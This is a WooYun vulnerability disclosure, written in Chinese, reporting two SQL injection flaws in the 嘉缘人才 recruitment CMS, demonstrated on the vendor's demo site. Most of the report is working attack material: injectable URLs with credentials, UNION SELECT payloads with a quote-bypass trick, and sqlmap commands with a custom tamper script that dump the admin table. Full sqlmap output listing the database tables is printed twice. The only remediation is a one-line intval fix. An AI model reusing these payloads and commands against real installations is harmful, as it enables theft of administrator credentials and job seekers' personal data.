当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-084589

漏洞标题:嘉缘人才系统2处SQL注入#8(demo测试)

相关厂商:finereason.com

漏洞作者: 龟兔赛跑

提交时间:2014-12-01 10:29

修复时间:2015-01-07 10:30

公开时间:2015-01-07 10:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-01: 细节已通知厂商并且等待厂商处理中
2014-12-06: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-01-30: 细节向核心白帽子及相关领域专家公开
2015-02-09: 细节向普通白帽子公开
2015-02-19: 细节向实习白帽子公开
2015-01-07: 细节向公众公开

简要描述:

嘉缘人才系统2处SQL注入,SQLMAP直接出数据。
(demo测试)

详细说明:

第一处:

http://v2014.rccms.com/mobile/member.php?m=resume&login=tstuser&pass=96e79218965eb72c92a549dd5a330112&type=pmember&id=2&d=down

第二处:

http://v2014.rccms.com/mobile/member.php?m=person_works&login=tstuser&pass=96e79218965eb72c92a549dd5a330112&type=pmember&id=2&d=down

两处没有对id过滤,直接带入SQL导致SQL注入。
详细:
第一处:

http://v2014.rccms.com/mobile/member.php?m=resume&login=tstuser&pass=96e79218965eb72c92a549dd5a330112&type=pmember&id=2&d=down

返回:

[{"r_id":"6","r_mid":"64","r_name":"\u8c22\u96e8","r_sex":"1","r_birth":2014,"r_position":"IT-\u8f6f\u4ef6\u5f00\u53d1","r_edu":"5","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","unix_adddate":1389162467},{"r_id":"7","r_mid":"65","r_name":"\u5f20\u6396","r_sex":"1","r_birth":2014,"r_position":"IT-\u8f6f\u4ef6\u5f00\u53d1*\u7cfb\u7edf\u5206\u6790\u5458","r_edu":"2","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","unix_adddate":1389162467},{"r_id":"8","r_mid":"66","r_name":"\u5218\u5f64\u5f64","r_sex":"1","r_birth":2014,"r_position":"\u623f\u5730\u4ea7\/\u5efa\u7b51\/\u5efa\u6750\/\u88c5\u6f62*\u5de5\u7a0b\u76d1\u7406","r_edu":"7","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","unix_adddate":1389162467},{"r_id":"9","r_mid":"67","r_name":"\u6768\u9633","r_sex":"1","r_birth":2014,"r_position":"\u5305\u88c5\/\u5370\u5237\/\u9020\u7eb8\u7c7b*\u5370\u5237\u5de5\u827a\u5e08","r_edu":"5","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","unix_adddate":1389162467},{"r_id":"10","r_mid":"68","r_name":"\u95f9\u95f9","r_sex":"1","r_birth":2014,"r_position":"","r_edu":"0","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","unix_adddate":1389162467},{"r_id":"11","r_mid":"69","r_name":"\u548c\u7530","r_sex":"1","r_birth":2014,"r_position":"\u8425\u9500-\u6280\u672f\u670d\u52a1\u53ca\u5ba2\u670d*\u552e\u524d\/\u552e\u540e\u6280\u672f\u670d\u52a1\u4e3b\u7ba1,\u8d22\u52a1\/\u5ba1\u8ba1\/\u7edf\u8ba1\/\u91d1\u878d*\u8d22\u52a1\u5206\u6790\u7ecf\u7406\/\u4e3b\u7ba1","r_edu":"4","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","unix_adddate":1389162467},{"r_id":"12","r_mid":"70","r_name":"\u5f20\u5c55","r_sex":"1","r_birth":2014,"r_position":"\u7269\u6d41\/\u8d38\u6613\/\u91c7\u8d2d*\u8239\u52a1\u4eba\u5458","r_edu":"5","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","unix_adddate":1389162467},{"r_id":"13","r_mid":"73","r_name":"\u674e\u4e3d","r_sex":"1","r_birth":2014,"r_position":"IT-\u8f6f\u4ef6\u5f00\u53d1*ERP\u6280\u672f\/\u5e94\u7528\u987e\u95ee","r_edu":"2","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","unix_adddate":1389162467},{"r_id":"14","r_mid":"74","r_name":"\u6c42\u804c\u80054","r_sex":"1","r_birth":2014,"r_position":"IT-\u8f6f\u4ef6\u5f00\u53d1*\u6570\u636e\u5e93\u5de5\u7a0b\u5e08","r_edu":"5","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","unix_adddate":1389162467},{"r_id":"15","r_mid":"75","r_name":"\u6c42\u804c\u8005\u4e94","r_sex":"1","r_birth":2014,"r_position":"IT-\u8f6f\u4ef6\u5f00\u53d1*\u9ad8\u7ea7\u8f6f\u4ef6\u5de5\u7a0b\u5e08","r_edu":"3","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","unix_adddate":1389162467}]


UNION SELECT注入

http://v2014.rccms.com/mobile/member.php?m=resume&login=tstuser&pass=96e79218965eb72c92a549dd5a330112&type=pmember&id=2%20and%201=@`%27`%20and%201.union%20select%201,2,3,4,5,6,7,8,9%23%27&d=down

返回:

[{"r_id":"1","r_mid":"2","r_name":"3","r_sex":"4","r_birth":2009,"r_position":"6","r_edu":"7","r_adddate":"8","m_nameshow":"9","unix_adddate":false}]


手动注入太不方便,于是写了个sqlmap的tamper,来获取数据:

python sqlmap.py -u "http://v2014.rccms.com/mobile/member.php?m=resume&login=tstuser&pass=96e79218965eb72c92a549dd5a330112&type=pmember&id=2&d=down" --tech=U --dbms=mysql --random-agent -p id --proxy="http://127.0.0.1:8080" --test-filter="MySQL UNION query ([RANDNUM]) - [COLSTART] to [COLSTOP] columns (custom)" --union-cols=9 --tamper=frcmsunion --suffix="#'" --dump -T job_admin

(frcmsunion为自己写的tamper)
走起:

1.png

2.png

3.png


第二处:

http://v2014.rccms.com/mobile/member.php?m=person_works&login=tstuser&pass=96e79218965eb72c92a549dd5a330112&type=pmember&id=2&d=down

返回:

0


http://v2014.rccms.com/mobile/member.php?m=person_works&login=tstuser&pass=96e79218965eb72c92a549dd5a330112&type=pmember&id=2%20and%201=@`%27`%20and%201.union%20select%201,2,3,4,5,6,7,8,9,10,11,12,1,14,15%23%27&d=down

返回:

[{"s_id":"1","s_hid":"2","s_comname":"3","s_place":"4","s_rid":"5","s_resumename":"6","s_lang":"7","s_adddate":"8","s_interview":"9","s_favorite":"10","s_response":"11","s_deny":"12","s_pmember":"1","s_cmember":"14","s_sendnum":"15","unix_adddate":false}]


$ python sqlmap.py -u "http://v2014.rccms.com/mobile/member.php?m=person_works&login=tstuser&pass=96e79218965eb72c92a549dd5a330112&type=pmember&id=2&d=down" --tech=U --dbms=mysql --random-agent -p id --proxy="http://127.0.0.1:8080" --test-filter="MySQL UNION query ([RANDNUM]) - [COLSTART] to [COLSTOP] columns (custom)" --union-cols=15 --tamper=frcmsunion --suffix="#'" --tables
_
___ ___| |_____ ___ ___ {1.0-dev-80b9fc4}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 23:18:40
[23:18:40] [INFO] loading tamper script 'frcmsunion'
[23:18:40] [INFO] fetched random HTTP User-Agent header from file 'txt/user-agents.txt': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24'
[23:18:40] [INFO] testing connection to the target URL
[23:18:41] [INFO] heuristics detected web page charset 'ascii'
[23:18:41] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[23:18:42] [INFO] testing for SQL injection on GET parameter 'id'
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] n
[23:18:44] [INFO] testing 'MySQL UNION query (random number) - 15 to 15 columns (custom)'
[23:18:59] [INFO] GET parameter 'id' is 'MySQL UNION query (random number) - 15 to 15 columns (custom)' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 35 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: UNION query
Title: MySQL UNION query (random number) - 15 columns (custom)
Payload: m=person_works&login=tstuser&pass=96e79218965eb72c92a549dd5a330112&type=pmember&id=2 UNION ALL SELECT 6386,6386,6386,6386,6386,6386,6386,6386,6386,6386,6386,6386,6386,CONCAT(0x7178717871,0x48435051624b4e4e646d,0x7162626b71),6386#'&d=down
---
[23:19:07] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[23:19:07] [INFO] testing MySQL
[23:19:07] [INFO] confirming MySQL
[23:19:08] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
[23:19:08] [INFO] fetching database names
[23:19:09] [INFO] fetching tables for databases: 'cms2014, information_schema'
Database: cms2014
[109 tables]
+---------------------------------------+
| job_ad |
| job_admin |
| job_adplace |
| job_adsplace |
| job_announce |
| job_attention |
| job_building |
| job_card |
| job_channel |
| job_comment |
| job_common |
| job_comnews |
| job_consume |
| job_count |
| job_countnum |
| job_course |
| job_coursetype |
| job_crons |
| job_department |
| job_dept |
| job_downfiles |
| job_downtype |
| job_dynamic |
| job_ecoclass |
| job_edu |
| job_education |
| job_evalua |
| job_feval |
| job_foreigndegree |
| job_foreignlanguage |
| job_gift |
| job_gift_category |
| job_gift_orders |
| job_group |
| job_guestbook |
| job_help |
| job_helpsort |
| job_hire |
| job_hrzp |
| job_interview |
| job_label |
| job_lang |
| job_letter |
| job_level |
| job_links |
| job_location |
| job_mail |
| job_mail_list |
| job_mail_log |
| job_mail_server |
| job_mailtemp |
| job_mamber_subinfo |
| job_manage_log |
| job_marriage |
| job_member |
| job_member_map |
| job_mutual |
| job_myexpert |
| job_myfavorite |
| job_myinterview |
| job_myreceive |
| job_mysend |
| job_nation |
| job_news |
| job_newssort |
| job_orderservice |
| job_pay |
| job_payback |
| job_payonline |
| job_picture |
| job_plus_weblog |
| job_polity |
| job_position |
| job_prices |
| job_profession |
| job_professor |
| job_provinceandcity |
| job_rbrower |
| job_recycle |
| job_reply |
| job_require |
| job_resume |
| job_rule_news |
| job_rule_office |
| job_save_url |
| job_sendresume |
| job_service_log |
| job_signup |
| job_site |
| job_siteconfig |
| job_sms |
| job_smstemp |
| job_street |
| job_student |
| job_sysletter |
| job_trade |
| job_trainer |
| job_training |
| job_url |
| job_vhire |
| job_vote |
| job_vresume |
| job_weixin_cofing |
| job_weixin_keyword |
| job_weixin_menu |
| job_weixin_user |
| job_work |
| job_zph |
| job_zphorder |
+---------------------------------------+
Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
[*] shutting down at 23:19:09

漏洞证明:

1.png

2.png

3.png


$ python sqlmap.py -u "http://v2014.rccms.com/mobile/member.php?m=person_works&login=tstuser&pass=96e79218965eb72c92a549dd5a330112&type=pmember&id=2&d=down" --tech=U --dbms=mysql --random-agent -p id --proxy="http://127.0.0.1:8080" --test-filter="MySQL UNION query ([RANDNUM]) - [COLSTART] to [COLSTOP] columns (custom)" --union-cols=15 --tamper=frcmsunion --suffix="#'" --tables
_
___ ___| |_____ ___ ___ {1.0-dev-80b9fc4}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 23:18:40
[23:18:40] [INFO] loading tamper script 'frcmsunion'
[23:18:40] [INFO] fetched random HTTP User-Agent header from file 'txt/user-agents.txt': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24'
[23:18:40] [INFO] testing connection to the target URL
[23:18:41] [INFO] heuristics detected web page charset 'ascii'
[23:18:41] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[23:18:42] [INFO] testing for SQL injection on GET parameter 'id'
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] n
[23:18:44] [INFO] testing 'MySQL UNION query (random number) - 15 to 15 columns (custom)'
[23:18:59] [INFO] GET parameter 'id' is 'MySQL UNION query (random number) - 15 to 15 columns (custom)' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 35 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: UNION query
Title: MySQL UNION query (random number) - 15 columns (custom)
Payload: m=person_works&login=tstuser&pass=96e79218965eb72c92a549dd5a330112&type=pmember&id=2 UNION ALL SELECT 6386,6386,6386,6386,6386,6386,6386,6386,6386,6386,6386,6386,6386,CONCAT(0x7178717871,0x48435051624b4e4e646d,0x7162626b71),6386#'&d=down
---
[23:19:07] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[23:19:07] [INFO] testing MySQL
[23:19:07] [INFO] confirming MySQL
[23:19:08] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
[23:19:08] [INFO] fetching database names
[23:19:09] [INFO] fetching tables for databases: 'cms2014, information_schema'
Database: cms2014
[109 tables]
+---------------------------------------+
| job_ad |
| job_admin |
| job_adplace |
| job_adsplace |
| job_announce |
| job_attention |
| job_building |
| job_card |
| job_channel |
| job_comment |
| job_common |
| job_comnews |
| job_consume |
| job_count |
| job_countnum |
| job_course |
| job_coursetype |
| job_crons |
| job_department |
| job_dept |
| job_downfiles |
| job_downtype |
| job_dynamic |
| job_ecoclass |
| job_edu |
| job_education |
| job_evalua |
| job_feval |
| job_foreigndegree |
| job_foreignlanguage |
| job_gift |
| job_gift_category |
| job_gift_orders |
| job_group |
| job_guestbook |
| job_help |
| job_helpsort |
| job_hire |
| job_hrzp |
| job_interview |
| job_label |
| job_lang |
| job_letter |
| job_level |
| job_links |
| job_location |
| job_mail |
| job_mail_list |
| job_mail_log |
| job_mail_server |
| job_mailtemp |
| job_mamber_subinfo |
| job_manage_log |
| job_marriage |
| job_member |
| job_member_map |
| job_mutual |
| job_myexpert |
| job_myfavorite |
| job_myinterview |
| job_myreceive |
| job_mysend |
| job_nation |
| job_news |
| job_newssort |
| job_orderservice |
| job_pay |
| job_payback |
| job_payonline |
| job_picture |
| job_plus_weblog |
| job_polity |
| job_position |
| job_prices |
| job_profession |
| job_professor |
| job_provinceandcity |
| job_rbrower |
| job_recycle |
| job_reply |
| job_require |
| job_resume |
| job_rule_news |
| job_rule_office |
| job_save_url |
| job_sendresume |
| job_service_log |
| job_signup |
| job_site |
| job_siteconfig |
| job_sms |
| job_smstemp |
| job_street |
| job_student |
| job_sysletter |
| job_trade |
| job_trainer |
| job_training |
| job_url |
| job_vhire |
| job_vote |
| job_vresume |
| job_weixin_cofing |
| job_weixin_keyword |
| job_weixin_menu |
| job_weixin_user |
| job_work |
| job_zph |
| job_zphorder |
+---------------------------------------+
Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
[*] shutting down at 23:19:09

修复方案:

id=intval(id)

版权声明:转载请注明来源 龟兔赛跑@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-01-07 10:30

厂商回复:

最新状态:

暂无